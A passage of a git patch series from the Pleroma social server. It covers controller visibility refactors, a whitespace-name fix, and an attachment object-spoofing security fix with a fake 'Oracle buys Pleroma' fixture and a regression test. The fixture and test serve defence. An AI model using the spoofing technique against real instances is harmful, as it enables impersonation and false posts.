_ -> data["url"] || data["external_url"] || data["id"] - end - - content = - if data["content"] do - data["content"] - |> Pleroma.HTML.filter_tags() - |> Pleroma.Emoji.Formatter.emojify(Map.get(data, "emoji", %{})) - else - nil - end - - %{ - user: User.sanitize_html(user), - title: get_title(activity.object), - content: content, - attachment: data["attachment"], - link: link, - published: data["published"], - sensitive: data["sensitive"], - selected: selected, - counts: get_counts(activity), - id: activity.id - } - end - + @doc "Renders requested local public activity or public activities of requested user" def show(%{assigns: %{notice_id: notice_id}} = conn, _params) do with %Activity{local: true} = activity <- Activity.get_by_id_with_object(notice_id), true <- Visibility.is_public?(activity.object), + {_, true} <- {:visible?, Visibility.visible_for_user?(activity, _reading_user = nil)}, %User{} = user <- User.get_by_ap_id(activity.object.data["actor"]) do meta = Metadata.build_tags(%{activity_id: notice_id, object: activity.object, user: user}) @@ -107,34 +47,35 @@ def show(%{assigns: %{notice_id: notice_id}} = conn, _params) do end def show(%{assigns: %{username_or_id: username_or_id}} = conn, params) do - case User.get_cached_by_nickname_or_id(username_or_id) do - %User{} = user -> - meta = Metadata.build_tags(%{user: user}) - - params = - params - |> Map.take(@page_keys) - |> Map.new(fn {k, v} -> {String.to_existing_atom(k), v} end) - - timeline = - user - |> ActivityPub.fetch_user_activities(nil, params) - |> Enum.map(&represent/1) - - prev_page_id = - (params["min_id"] || params["max_id"]) && - List.first(timeline) && List.first(timeline).id - - next_page_id = List.last(timeline) && List.last(timeline).id - - render(conn, "profile.html", %{ - user: User.sanitize_html(user), - timeline: timeline, - prev_page_id: prev_page_id, - next_page_id: next_page_id, - meta: meta - }) + with {_, %User{local: true} = user} <- + {:fetch_user, User.get_cached_by_nickname_or_id(username_or_id)}, + {_, :visible} <- {:visibility, User.visible_for(user, _reading_user = nil)} do + meta = Metadata.build_tags(%{user: user}) + + params = + params + |> Map.take(@page_keys) + |> Map.new(fn {k, v} -> {String.to_existing_atom(k), v} end) + timeline = + user + |> ActivityPub.fetch_user_activities(_reading_user = nil, params) + |> Enum.map(&represent/1) + + prev_page_id = + (params["min_id"] || params["max_id"]) && + List.first(timeline) && List.first(timeline).id + + next_page_id = List.last(timeline) && List.last(timeline).id + + render(conn, "profile.html", %{ + user: User.sanitize_html(user), + timeline: timeline, + prev_page_id: prev_page_id, + next_page_id: next_page_id, + meta: meta + }) + else _ -> not_found(conn, "User not found.") end @@ -166,6 +107,64 @@ def show(%{assigns: %{activity_id: _}} = conn, _params) do end end + defp get_title(%Object{data: %{"name" => name}}) when is_binary(name), + do: name + + defp get_title(%Object{data: %{"summary" => summary}}) when is_binary(summary), + do: summary + + defp get_title(_), do: nil + + defp not_found(conn, message) do + conn + |> put_status(404) + |> render("error.html", %{message: message, meta: ""}) + end + + defp get_counts(%Activity{} = activity) do + %Object{data: data} = Object.normalize(activity) + + %{ + likes: data["like_count"] || 0, + replies: data["repliesCount"] || 0, + announces: data["announcement_count"] || 0 + } + end + + defp represent(%Activity{} = activity), do: represent(activity, false) + + defp represent(%Activity{object: %Object{data: data}} = activity, selected) do + {:ok, user} = User.get_or_fetch(activity.object.data["actor"]) + + link = + case user.local do + true -> Helpers.o_status_url(Pleroma.Web.Endpoint, :notice, activity) + _ -> data["url"] || data["external_url"] || data["id"] + end + + content = + if data["content"] do + data["content"] + |> Pleroma.HTML.filter_tags() + |> Pleroma.Emoji.Formatter.emojify(Map.get(data, "emoji", %{})) + else + nil + end + + %{ + user: User.sanitize_html(user), + title: get_title(activity.object), + content: content, + attachment: data["attachment"], + link: link, + published: data["published"], + sensitive: data["sensitive"], + selected: selected, + counts: get_counts(activity), + id: activity.id + } + end + defp assign_id(%{path_info: ["notice", notice_id]} = conn, _opts), do: assign(conn, :notice_id, notice_id) diff --git a/test/pleroma/web/activity_pub/activity_pub_controller_test.exs b/test/pleroma/web/activity_pub/activity_pub_controller_test.exs index b11e2f961..b696a24f4 100644 --- a/test/pleroma/web/activity_pub/activity_pub_controller_test.exs +++ b/test/pleroma/web/activity_pub/activity_pub_controller_test.exs @@ -156,21 +156,6 @@ test "it returns error when user is not found", %{conn: conn} do assert response == "Not found" end - - test "it requires authentication if instance is NOT federating", %{ - conn: conn - } do - user = insert(:user) - - conn = - put_req_header( - conn, - "accept", - "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"" - ) - - ensure_federating_or_authenticated(conn, "/users/#{user.nickname}.json", user) - end end describe "mastodon compatibility routes" do @@ -338,18 +323,6 @@ test "cached purged after object deletion", %{conn: conn} do assert "Not found" == json_response(conn2, :not_found) end - - test "it requires authentication if instance is NOT federating", %{ - conn: conn - } do - user = insert(:user) - note = insert(:note) - uuid = String.split(note.data["id"], "/") |> List.last() - - conn = put_req_header(conn, "accept", "application/activity+json") - - ensure_federating_or_authenticated(conn, "/objects/#{uuid}", user) - end end describe "/activities/:uuid" do @@ -421,18 +394,6 @@ test "cached purged after activity deletion", %{conn: conn} do assert "Not found" == json_response(conn2, :not_found) end - - test "it requires authentication if instance is NOT federating", %{ - conn: conn - } do - user = insert(:user) - activity = insert(:note_activity) - uuid = String.split(activity.data["id"], "/") |> List.last() - - conn = put_req_header(conn, "accept", "application/activity+json") - - ensure_federating_or_authenticated(conn, "/activities/#{uuid}", user) - end end describe "/inbox" do @@ -893,15 +854,6 @@ test "it returns an announce activity in a collection", %{conn: conn} do assert response(conn, 200) =~ announce_activity.data["object"] end - - test "it requires authentication if instance is NOT federating", %{ - conn: conn - } do - user = insert(:user) - conn = put_req_header(conn, "accept", "application/activity+json") - - ensure_federating_or_authenticated(conn, "/users/#{user.nickname}/outbox", user) - end end describe "POST /users/:nickname/outbox (C2S)" do diff --git a/test/pleroma/web/feed/tag_controller_test.exs b/test/pleroma/web/feed/tag_controller_test.exs index 868e40965..e4084b0e5 100644 --- a/test/pleroma/web/feed/tag_controller_test.exs +++ b/test/pleroma/web/feed/tag_controller_test.exs @@ -8,6 +8,7 @@ defmodule Pleroma.Web.Feed.TagControllerTest do import Pleroma.Factory import SweetXml + alias Pleroma.Config alias Pleroma.Object alias Pleroma.Web.CommonAPI alias Pleroma.Web.Feed.FeedView @@ -15,7 +16,7 @@ defmodule Pleroma.Web.Feed.TagControllerTest do setup do: clear_config([:feed]) test "gets a feed (ATOM)", %{conn: conn} do - Pleroma.Config.put( + Config.put( [:feed, :post_title], %{max_length: 25, omission: "..."} ) @@ -82,7 +83,7 @@ test "gets a feed (ATOM)", %{conn: conn} do end test "gets a feed (RSS)", %{conn: conn} do - Pleroma.Config.put( + Config.put( [:feed, :post_title], %{max_length: 25, omission: "..."} ) @@ -157,7 +158,7 @@ test "gets a feed (RSS)", %{conn: conn} do response = conn |> put_req_header("accept", "application/rss+xml") - |> get(tag_feed_path(conn, :feed, "pleromaart")) + |> get(tag_feed_path(conn, :feed, "pleromaart.rss")) |> response(200) xml = parse(response) @@ -183,14 +184,12 @@ test "gets a feed (RSS)", %{conn: conn} do end describe "private instance" do - setup do: clear_config([:instance, :public]) + setup do: clear_config([:instance, :public], false) test "returns 404 for tags feed", %{conn: conn} do - Config.put([:instance, :public], false) - conn |> put_req_header("accept", "application/rss+xml") - |> get(tag_feed_path(conn, :feed, "pleromaart")) + |> get(tag_feed_path(conn, :feed, "pleromaart.rss")) |> response(404) end end diff --git a/test/pleroma/web/feed/user_controller_test.exs b/test/pleroma/web/feed/user_controller_test.exs index a5dc0894b..eabfe3a63 100644 --- a/test/pleroma/web/feed/user_controller_test.exs +++ b/test/pleroma/web/feed/user_controller_test.exs @@ -13,7 +13,7 @@ defmodule Pleroma.Web.Feed.UserControllerTest do alias Pleroma.User alias Pleroma.Web.CommonAPI - setup do: clear_config([:instance, :federating], true) + setup do: clear_config([:static_fe, :enabled], false) describe "feed" do setup do: clear_config([:feed]) @@ -192,6 +192,16 @@ test "returns 404 when the user is remote", %{conn: conn} do |> get(user_feed_path(conn, :feed, user.nickname)) |> response(404) end + + test "does not require authentication on non-federating instances", %{conn: conn} do + clear_config([:instance, :federating], false) + user = insert(:user) + + conn + |> put_req_header("accept", "application/rss+xml") + |> get("/users/#{user.nickname}/feed.rss") + |> response(200) + end end # Note: see ActivityPubControllerTest for JSON format tests diff --git a/test/pleroma/web/o_status/o_status_controller_test.exs b/test/pleroma/web/o_status/o_status_controller_test.exs index ee498f4b5..65b2c22db 100644 --- a/test/pleroma/web/o_status/o_status_controller_test.exs +++ b/test/pleroma/web/o_status/o_status_controller_test.exs @@ -7,7 +7,6 @@ defmodule Pleroma.Web.OStatus.OStatusControllerTest do import Pleroma.Factory - alias Pleroma.Config alias Pleroma.Object alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub @@ -21,7 +20,7 @@ defmodule Pleroma.Web.OStatus.OStatusControllerTest do :ok end - setup do: clear_config([:instance, :federating], true) + setup do: clear_config([:static_fe, :enabled], false) describe "Mastodon compatibility routes" do setup %{conn: conn} do @@ -215,15 +214,16 @@ test "404s a non-existing notice", %{conn: conn} do assert response(conn, 404) end - test "it requires authentication if instance is NOT federating", %{ + test "does not require authentication on non-federating instances", %{ conn: conn } do - user = insert(:user) + clear_config([:instance, :federating], false) note_activity = insert(:note_activity) - conn = put_req_header(conn, "accept", "text/html") - - ensure_federating_or_authenticated(conn, "/notice/#{note_activity.id}", user) + conn + |> put_req_header("accept", "text/html") + |> get("/notice/#{note_activity.id}") + |> response(200) end end @@ -325,14 +325,16 @@ test "404s when attachment isn't audio or video", %{conn: conn} do |> response(404) end - test "it requires authentication if instance is NOT federating", %{ + test "does not require authentication on non-federating instances", %{ conn: conn, note_activity: note_activity } do - user = insert(:user) - conn = put_req_header(conn, "accept", "text/html") + clear_config([:instance, :federating], false) - ensure_federating_or_authenticated(conn, "/notice/#{note_activity.id}/embed_player", user) + conn + |> put_req_header("accept", "text/html") + |> get("/notice/#{note_activity.id}/embed_player") + |> response(200) end end end diff --git a/test/pleroma/web/static_fe/static_fe_controller_test.exs b/test/pleroma/web/static_fe/static_fe_controller_test.exs index f819a1e52..19506f1d8 100644 --- a/test/pleroma/web/static_fe/static_fe_controller_test.exs +++ b/test/pleroma/web/static_fe/static_fe_controller_test.exs @@ -6,14 +6,12 @@ defmodule Pleroma.Web.StaticFE.StaticFEControllerTest do use Pleroma.Web.ConnCase alias Pleroma.Activity - alias Pleroma.Config alias Pleroma.Web.ActivityPub.Transmogrifier alias Pleroma.Web.CommonAPI import Pleroma.Factory setup_all do: clear_config([:static_fe, :enabled], true) - setup do: clear_config([:instance, :federating], true) setup %{conn: conn} do conn = put_req_header(conn, "accept", "text/html") @@ -74,8 +72,27 @@ test "pagination, page 2", %{conn: conn, user: user} do refute html =~ ">test29<" end - test "it requires authentication if instance is NOT federating", %{conn: conn, user: user} do - ensure_federating_or_authenticated(conn, "/users/#{user.nickname}", user) + test "does not require authentication on non-federating instances", %{ + conn: conn, + user: user + } do + clear_config([:instance, :federating], false) + + conn = get(conn, "/users/#{user.nickname}") + + assert html_response(conn, 200) =~ user.nickname + end + + test "returns 404 for local user with `restrict_unauthenticated/profiles/local` setting", %{ + conn: conn + } do + clear_config([:restrict_unauthenticated, :profiles, :local], true) + + local_user = insert(:user, local: true) + + conn + |> get("/users/#{local_user.nickname}") + |> html_response(404) end end @@ -187,10 +204,28 @@ test "302 for remote cached status", %{conn: conn, user: user} do assert html_response(conn, 302) =~ "redirected" end - test "it requires authentication if instance is NOT federating", %{conn: conn, user: user} do + test "does not require authentication on non-federating instances", %{ + conn: conn, + user: user + } do + clear_config([:instance, :federating], false) + + {:ok, activity} = CommonAPI.post(user, %{status: "testing a thing!"}) + + conn = get(conn, "/notice/#{activity.id}") + + assert html_response(conn, 200) =~ "testing a thing!" + end + + test "returns 404 for local public activity with `restrict_unauthenticated/activities/local` setting", + %{conn: conn, user: user} do + clear_config([:restrict_unauthenticated, :activities, :local], true) + {:ok, activity} = CommonAPI.post(user, %{status: "testing a thing!"}) - ensure_federating_or_authenticated(conn, "/notice/#{activity.id}", user) + conn + |> get("/notice/#{activity.id}") + |> html_response(404) end end end diff --git a/test/support/conn_case.ex b/test/support/conn_case.ex index 9316a82e4..47cb65a80 100644 --- a/test/support/conn_case.ex +++ b/test/support/conn_case.ex @@ -112,28 +112,6 @@ defp json_response_and_validate_schema( defp json_response_and_validate_schema(conn, _status) do flunk("Response schema not found for #{conn.method} #{conn.request_path} #{conn.status}") end - - defp ensure_federating_or_authenticated(conn, url, user) do - initial_setting = Config.get([:instance, :federating]) - on_exit(fn -> Config.put([:instance, :federating], initial_setting) end) - - Config.put([:instance, :federating], false) - - conn - |> get(url) - |> response(403) - - conn - |> assign(:user, user) - |> get(url) - |> response(200) - - Config.put([:instance, :federating], true) - - conn - |> get(url) - |> response(200) - end end end -- cgit v1.2.3 From 79caf3840e40ecd304aa79f42e826abc6329b255 Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Tue, 27 Oct 2020 14:37:48 -0500 Subject: phoenix_controller_render_duration is no longer available in telemetry of Phoenix 1.5+ --- test/pleroma/web/endpoint/metrics_exporter_test.exs | 1 - 1 file changed, 1 deletion(-) diff --git a/test/pleroma/web/endpoint/metrics_exporter_test.exs b/test/pleroma/web/endpoint/metrics_exporter_test.exs index f954cc1e7..875addc96 100644 --- a/test/pleroma/web/endpoint/metrics_exporter_test.exs +++ b/test/pleroma/web/endpoint/metrics_exporter_test.exs @@ -38,7 +38,6 @@ test "serves app metrics", %{conn: conn} do for metric <- [ "http_requests_total", "http_request_duration_microseconds", - "phoenix_controller_render_duration", "phoenix_controller_call_duration", "telemetry_scrape_duration", "erlang_vm_memory_atom_bytes_total" -- cgit v1.2.3 From 4d693b5e54b46c8863c463503d270a0d61d79c37 Mon Sep 17 00:00:00 2001 From: Haelwenn <contact+git.pleroma.social@hacktivis.me> Date: Tue, 27 Oct 2020 22:44:31 +0000 Subject: Merge branch '2236-no-name' into 'develop' Resolve "Account cannot be fetched by some instances" Closes #2236 See merge request pleroma/pleroma!3101 --- CHANGELOG.md | 1 + lib/pleroma/user.ex | 5 ++- lib/pleroma/web/activity_pub/activity_pub.ex | 1 + test/fixtures/mewmew_no_name.json | 46 ++++++++++++++++++++++ .../pleroma/web/activity_pub/activity_pub_test.exs | 11 ++++++ 5 files changed, 62 insertions(+), 2 deletions(-) create mode 100644 test/fixtures/mewmew_no_name.json diff --git a/CHANGELOG.md b/CHANGELOG.md index dd500bdd8..d712c3498 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -53,6 +53,7 @@ switched to a new configuration mechanism, however it was not officially removed - Allow sending out emails again. - Allow sending chat messages to yourself - OStatus / static FE endpoints: fixed inaccessibility for anonymous users on non-federating instances, switched to handling per `:restrict_unauthenticated` setting. +- Fix remote users with a whitespace name. ### Upgrade notes diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex index 87c8bfbd1..b56a5dfe2 100644 --- a/lib/pleroma/user.ex +++ b/lib/pleroma/user.ex @@ -426,7 +426,6 @@ def remote_user_changeset(struct \\ %User{local: false}, params) do params, [ :bio, - :name, :emoji, :ap_id, :inbox, @@ -455,7 +454,9 @@ def remote_user_changeset(struct \\ %User{local: false}, params) do :accepts_chat_messages ] ) - |> validate_required([:name, :ap_id]) + |> cast(params, [:name], empty_values: []) + |> validate_required([:ap_id]) + |> validate_required([:name], trim: false) |> unique_constraint(:nickname) |> validate_format(:nickname, @email_regex) |> validate_length(:bio, max: bio_limit) diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex index 8022f0402..3543f7f73 100644 --- a/lib/pleroma/web/activity_pub/activity_pub.ex +++ b/lib/pleroma/web/activity_pub/activity_pub.ex @@ -1371,6 +1371,7 @@ def fetch_and_prepare_user_from_ap_id(ap_id, opts \\ []) do {:ok, data} <- user_data_from_user_object(data) do {:ok, maybe_update_follow_information(data)} else + # If this has been deleted, only log a debug and not an error {:error, "Object has been deleted" = e} -> Logger.debug("Could not decode user at fetch #{ap_id}, #{inspect(e)}") {:error, e} diff --git a/test/fixtures/mewmew_no_name.json b/test/fixtures/mewmew_no_name.json new file mode 100644 index 000000000..532d4cf70 --- /dev/null +++ b/test/fixtures/mewmew_no_name.json @@ -0,0 +1,46 @@ +{ + "@context" : [ + "https://www.w3.org/ns/activitystreams", + "https://princess.cat/schemas/litepub-0.1.jsonld", + { + "@language" : "und" + } + ], + "attachment" : [], + "capabilities" : { + "acceptsChatMessages" : true + }, + "discoverable" : false, + "endpoints" : { + "oauthAuthorizationEndpoint" : "https://princess.cat/oauth/authorize", + "oauthRegistrationEndpoint" : "https://princess.cat/api/v1/apps", + "oauthTokenEndpoint" : "https://princess.cat/oauth/token", + "sharedInbox" : "https://princess.cat/inbox", + "uploadMedia" : "https://princess.cat/api/ap/upload_media" + }, + "followers" : "https://princess.cat/users/mewmew/followers", + "following" : "https://princess.cat/users/mewmew/following", + "icon" : { + "type" : "Image", + "url" : "https://princess.cat/media/12794fb50e86911e65be97f69196814049dcb398a2f8b58b99bb6591576e648c.png?name=blobcatpresentpink.png" + }, + "id" : "https://princess.cat/users/mewmew", + "image" : { + "type" : "Image", + "url" : "https://princess.cat/media/05d8bf3953ab6028fc920494ffc643fbee9dcef40d7bdd06f107e19acbfbd7f9.png" + }, + "inbox" : "https://princess.cat/users/mewmew/inbox", + "manuallyApprovesFollowers" : true, + "name" : " ", + "outbox" : "https://princess.cat/users/mewmew/outbox", + "preferredUsername" : "mewmew", + "publicKey" : { + "id" : "https://princess.cat/users/mewmew#main-key", + "owner" : "https://princess.cat/users/mewmew", + "publicKeyPem" : "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAru7VpygVef4zrFwnj0Mh\nrbO/2z2EdKN3rERtNrT8zWsLXNLQ50lfpRPnGDrd+xq7Rva4EIu0d5KJJ9n4vtY0\nuxK3On9vA2oyjLlR9O0lI3XTrHJborG3P7IPXrmNUMFpHiFHNqHp5tugUrs1gUFq\n7tmOmM92IP4Wjk8qNHFcsfnUbaPTX7sNIhteQKdi5HrTb/6lrEIe4G/FlMKRqxo3\nRNHuv6SNFQuiUKvFzjzazvjkjvBSm+aFROgdHa2tKl88StpLr7xmuY8qNFCRT6W0\nLacRp6c8ah5f03Kd+xCBVhCKvKaF1K0ERnQTBiitUh85md+Mtx/CoDoLnmpnngR3\nvQIDAQAB\n-----END PUBLIC KEY-----\n\n" + }, + "summary" : "please reply to my posts as direct messages if you have many followers", + "tag" : [], + "type" : "Person", + "url" : "https://princess.cat/users/mewmew" +} diff --git a/test/pleroma/web/activity_pub/activity_pub_test.exs b/test/pleroma/web/activity_pub/activity_pub_test.exs index 9200aef65..99b1076d6 100644 --- a/test/pleroma/web/activity_pub/activity_pub_test.exs +++ b/test/pleroma/web/activity_pub/activity_pub_test.exs @@ -2257,4 +2257,15 @@ test "`following` still contains self-replies by friends" do assert length(activities) == 2 end end + + test "allow fetching of accounts with an empty string name field" do + Tesla.Mock.mock(fn + %{method: :get, url: "https://princess.cat/users/mewmew"} -> + file = File.read!("test/fixtures/mewmew_no_name.json") + %Tesla.Env{status: 200, body: file} + end) + + {:ok, user} = ActivityPub.make_user_from_ap_id("https://princess.cat/users/mewmew") + assert user.name == " " + end end -- cgit v1.2.3 From 5116859f0e53a5b79a01f764fa3baf4c2110df1b Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Tue, 3 Nov 2020 13:59:18 +0000 Subject: Merge branch 'fix/object-attachment-spoof' into 'develop' Fix object spoofing vulnerability in attachments See merge request pleroma/secteam/pleroma!18 --- lib/pleroma/object/fetcher.ex | 20 ++- test/fixtures/spoofed-object.json | 26 +++ test/pleroma/object/fetcher_test.exs | 27 ++- test/pleroma/object_test.exs | 15 +- .../pleroma/web/activity_pub/activity_pub_test.exs | 24 ++- .../transmogrifier/announce_handling_test.exs | 6 +- .../transmogrifier/article_handling_test.exs | 15 +- .../transmogrifier/audio_handling_test.exs | 3 +- .../transmogrifier/event_handling_test.exs | 6 +- test/support/http_request_mock.ex | 190 +++++++++++++++------ 10 files changed, 253 insertions(+), 79 deletions(-) create mode 100644 test/fixtures/spoofed-object.json diff --git a/lib/pleroma/object/fetcher.ex b/lib/pleroma/object/fetcher.ex index 169298b34..ae4301738 100644 --- a/lib/pleroma/object/fetcher.ex +++ b/lib/pleroma/object/fetcher.ex @@ -232,8 +232,24 @@ defp get_object_http(id) do |> sign_fetch(id, date) case HTTP.get(id, headers) do - {:ok, %{body: body, status: code}} when code in 200..299 -> - {:ok, body} + {:ok, %{body: body, status: code, headers: headers}} when code in 200..299 -> + case List.keyfind(headers, "content-type", 0) do + {_, content_type} -> + case Plug.Conn.Utils.media_type(content_type) do + {:ok, "application", "activity+json", _} -> + {:ok, body} + + {:ok, "application", "ld+json", + %{"profile" => "https://www.w3.org/ns/activitystreams"}} -> + {:ok, body} + + _ -> + {:error, {:content_type, content_type}} + end + + _ -> + {:error, {:content_type, nil}} + end {:ok, %{status: code}} when code in [404, 410] -> {:error, "Object has been deleted"} diff --git a/test/fixtures/spoofed-object.json b/test/fixtures/spoofed-object.json new file mode 100644 index 000000000..91e34307d --- /dev/null +++ b/test/fixtures/spoofed-object.json @@ -0,0 +1,26 @@ +{ + "@context": [ + "https://www.w3.org/ns/activitystreams", + "https://patch.cx/schemas/litepub-0.1.jsonld", + { + "@language": "und" + } + ], + "actor": "https://patch.cx/users/rin", + "attachment": [], + "attributedTo": "https://patch.cx/users/rin", + "cc": [ + "https://patch.cx/users/rin/followers" + ], + "content": "Oracle Corporation (NYSE: ORCL) today announced that it has signed a definitive merger agreement to acquire Pleroma AG (FRA: PLA), for $26.50 per share (approximately $10.3 billion). The transaction has been approved by the boards of directors of both companies and should close by early January.", + "context": "https://patch.cx/contexts/spoof", + "id": "https://patch.cx/objects/spoof", + "published": "2020-10-23T18:02:06.038856Z", + "sensitive": false, + "summary": "Oracle buys Pleroma", + "tag": [], + "to": [ + "https://www.w3.org/ns/activitystreams#Public" + ], + "type": "Note" +} diff --git a/test/pleroma/object/fetcher_test.exs b/test/pleroma/object/fetcher_test.exs index 14d2c645f..7df6af7fe 100644 --- a/test/pleroma/object/fetcher_test.exs +++ b/test/pleroma/object/fetcher_test.exs @@ -21,6 +21,17 @@ defmodule Pleroma.Object.FetcherTest do %{method: :get, url: "https://mastodon.example.org/users/userisgone404"} -> %Tesla.Env{status: 404} + %{ + method: :get, + url: + "https://patch.cx/media/03ca3c8b4ac3ddd08bf0f84be7885f2f88de0f709112131a22d83650819e36c2.json" + } -> + %Tesla.Env{ + status: 200, + headers: [{"content-type", "application/json"}], + body: File.read!("test/fixtures/spoofed-object.json") + } + env -> apply(HttpRequestMock, :request, [env]) end) @@ -34,19 +45,22 @@ defmodule Pleroma.Object.FetcherTest do %{method: :get, url: "https://social.sakamoto.gq/notice/9wTkLEnuq47B25EehM"} -> %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/fetch_mocks/9wTkLEnuq47B25EehM.json") + body: File.read!("test/fixtures/fetch_mocks/9wTkLEnuq47B25EehM.json"), + headers: HttpRequestMock.activitypub_object_headers() } %{method: :get, url: "https://social.sakamoto.gq/users/eal"} -> %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/fetch_mocks/eal.json") + body: File.read!("test/fixtures/fetch_mocks/eal.json"), + headers: HttpRequestMock.activitypub_object_headers() } %{method: :get, url: "https://busshi.moe/users/tuxcrafting/statuses/104410921027210069"} -> %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/fetch_mocks/104410921027210069.json") + body: File.read!("test/fixtures/fetch_mocks/104410921027210069.json"), + headers: HttpRequestMock.activitypub_object_headers() } %{method: :get, url: "https://busshi.moe/users/tuxcrafting"} -> @@ -132,6 +146,13 @@ test "Return MRF reason when fetched status is rejected by one" do "http://mastodon.example.org/@admin/99541947525187367" ) end + + test "it does not fetch a spoofed object uploaded on an instance as an attachment" do + assert {:error, _} = + Fetcher.fetch_object_from_id( + "https://patch.cx/media/03ca3c8b4ac3ddd08bf0f84be7885f2f88de0f709112131a22d83650819e36c2.json" + ) + end end describe "implementation quirks" do diff --git a/test/pleroma/object_test.exs b/test/pleroma/object_test.exs index 99caba336..5d4e6fb84 100644 --- a/test/pleroma/object_test.exs +++ b/test/pleroma/object_test.exs @@ -281,7 +281,11 @@ test "does not fetch unknown objects when fetch_remote is false" do setup do mock(fn %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/poll_original.json")} + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/poll_original.json"), + headers: HttpRequestMock.activitypub_object_headers() + } env -> apply(HttpRequestMock, :request, [env]) @@ -315,7 +319,8 @@ test "refetches if the time since the last refetch is greater than the interval" mock_modified.(%Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/poll_modified.json") + body: File.read!("test/fixtures/tesla_mock/poll_modified.json"), + headers: HttpRequestMock.activitypub_object_headers() }) updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1) @@ -359,7 +364,8 @@ test "does not refetch if the time since the last refetch is greater than the in mock_modified.(%Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/poll_modified.json") + body: File.read!("test/fixtures/tesla_mock/poll_modified.json"), + headers: HttpRequestMock.activitypub_object_headers() }) updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: 100) @@ -387,7 +393,8 @@ test "preserves internal fields on refetch", %{mock_modified: mock_modified} do mock_modified.(%Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/poll_modified.json") + body: File.read!("test/fixtures/tesla_mock/poll_modified.json"), + headers: HttpRequestMock.activitypub_object_headers() }) updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1) diff --git a/test/pleroma/web/activity_pub/activity_pub_test.exs b/test/pleroma/web/activity_pub/activity_pub_test.exs index 99b1076d6..c6ca37847 100644 --- a/test/pleroma/web/activity_pub/activity_pub_test.exs +++ b/test/pleroma/web/activity_pub/activity_pub_test.exs @@ -1410,19 +1410,25 @@ test "doesn't crash when follower and following counters are hidden" do mock(fn env -> case env.url do "http://localhost:4001/users/masto_hidden_counters/following" -> - json(%{ - "@context" => "https://www.w3.org/ns/activitystreams", - "id" => "http://localhost:4001/users/masto_hidden_counters/followers" - }) + json( + %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "id" => "http://localhost:4001/users/masto_hidden_counters/followers" + }, + headers: HttpRequestMock.activitypub_object_headers() + ) "http://localhost:4001/users/masto_hidden_counters/following?page=1" -> %Tesla.Env{status: 403, body: ""} "http://localhost:4001/users/masto_hidden_counters/followers" -> - json(%{ - "@context" => "https://www.w3.org/ns/activitystreams", - "id" => "http://localhost:4001/users/masto_hidden_counters/following" - }) + json( + %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "id" => "http://localhost:4001/users/masto_hidden_counters/following" + }, + headers: HttpRequestMock.activitypub_object_headers() + ) "http://localhost:4001/users/masto_hidden_counters/followers?page=1" -> %Tesla.Env{status: 403, body: ""} @@ -2262,7 +2268,7 @@ test "allow fetching of accounts with an empty string name field" do Tesla.Mock.mock(fn %{method: :get, url: "https://princess.cat/users/mewmew"} -> file = File.read!("test/fixtures/mewmew_no_name.json") - %Tesla.Env{status: 200, body: file} + %Tesla.Env{status: 200, body: file, headers: HttpRequestMock.activitypub_object_headers()} end) {:ok, user} = ActivityPub.make_user_from_ap_id("https://princess.cat/users/mewmew") diff --git a/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs index 54335acdb..99c296c74 100644 --- a/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs +++ b/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs @@ -60,7 +60,11 @@ test "it works for incoming announces, fetching the announced object" do Tesla.Mock.mock(fn %{method: :get} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/mastodon-note-object.json")} + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/mastodon-note-object.json"), + headers: HttpRequestMock.activitypub_object_headers() + } end) _user = insert(:user, local: false, ap_id: data["actor"]) diff --git a/test/pleroma/web/activity_pub/transmogrifier/article_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/article_handling_test.exs index 9b12a470a..b0ae804c5 100644 --- a/test/pleroma/web/activity_pub/transmogrifier/article_handling_test.exs +++ b/test/pleroma/web/activity_pub/transmogrifier/article_handling_test.exs @@ -13,7 +13,11 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.ArticleHandlingTest do test "Pterotype (Wordpress Plugin) Article" do Tesla.Mock.mock(fn %{url: "https://wedistribute.org/wp-json/pterotype/v1/actor/-blog"} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/wedistribute-user.json")} + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/wedistribute-user.json"), + headers: HttpRequestMock.activitypub_object_headers() + } end) data = @@ -36,13 +40,15 @@ test "Plume Article" do %{url: "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/"} -> %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-article.json") + body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-article.json"), + headers: HttpRequestMock.activitypub_object_headers() } %{url: "https://baptiste.gelez.xyz/@/BaptisteGelez"} -> %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-user.json") + body: 